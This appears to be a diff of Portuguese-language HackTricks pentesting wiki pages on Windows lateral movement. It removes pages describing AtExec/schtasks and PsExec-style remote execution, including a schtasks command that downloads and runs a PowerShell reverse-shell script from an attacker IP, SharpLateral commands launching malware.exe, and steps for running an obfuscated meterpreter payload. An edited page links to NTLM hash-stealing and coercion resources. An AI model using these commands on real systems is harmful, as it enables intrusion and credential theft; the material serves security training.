 **Você pode usar** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
 

src/windows-hardening/ntlm/atexec.md

@@ -1,27 +0,0 @@
-# AtExec / SchtasksExec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Como Funciona
-
-At permite agendar tarefas em hosts onde você conhece o nome de usuário/(senha/Hash). Assim, você pode usá-lo para executar comandos em outros hosts e obter a saída.
-```
-At \\victim 11:00:00PM shutdown -r
-```
-Usando schtasks, você precisa primeiro criar a tarefa e depois chamá-la:
-```bash
-schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
-schtasks /run /tn <TASK_NAME> /S <VICTIM>
-```
-
-```bash
-schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
-schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
-```
-Você também pode usar [SharpLateral](https://github.com/mertdas/SharpLateral):
-```bash
-SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
-```
-Mais informações sobre o [**uso de schtasks com silver tickets aqui**](../active-directory-methodology/silver-ticket.md#host).
-
-{{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md

@@ -2,6 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Verifique todas as ótimas ideias de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)**
-desde o download de um arquivo microsoft word online até a fonte de vazamentos ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
+**Verifique todas as ótimas ideias de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) desde o download de um arquivo microsoft word online até a fonte de vazamentos ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md e [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
+
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/ntlm/psexec-and-winexec.md

@@ -1,38 +0,0 @@
-# PsExec/Winexec/ScExec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Como eles funcionam
-
-O processo é descrito nos passos abaixo, ilustrando como os binários de serviço são manipulados para alcançar a execução remota em uma máquina alvo via SMB:
-
-1. **Cópia de um binário de serviço para o compartilhamento ADMIN$ via SMB** é realizada.
-2. **Criação de um serviço na máquina remota** é feita apontando para o binário.
-3. O serviço é **iniciado remotamente**.
-4. Ao sair, o serviço é **parado, e o binário é deletado**.
-
-### **Processo de Execução Manual do PsExec**
-
-Assumindo que há um payload executável (criado com msfvenom e ofuscado usando Veil para evadir a detecção de antivírus), nomeado 'met8888.exe', representando um payload reverse_http do meterpreter, os seguintes passos são tomados:
-
-- **Cópia do binário**: O executável é copiado para o compartilhamento ADMIN$ a partir de um prompt de comando, embora possa ser colocado em qualquer lugar no sistema de arquivos para permanecer oculto.
-
-- **Criação de um serviço**: Utilizando o comando `sc` do Windows, que permite consultar, criar e deletar serviços do Windows remotamente, um serviço chamado "meterpreter" é criado para apontar para o binário carregado.
-
-- **Iniciando o serviço**: O passo final envolve iniciar o serviço, o que provavelmente resultará em um erro de "time-out" devido ao binário não ser um verdadeiro binário de serviço e falhar em retornar o código de resposta esperado. Este erro é irrelevante, pois o objetivo principal é a execução do binário.
-
-A observação do listener do Metasploit revelará que a sessão foi iniciada com sucesso.
-
-[Saiba mais sobre o comando `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
-
-Encontre passos mais detalhados em: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
-
-**Você também pode usar o binário PsExec.exe do Windows Sysinternals:**
-
-![](<../../images/image (165).png>)
-
-Você também pode usar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
-```
-SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
-```
-{{#include ../../banners/hacktricks-training.md}}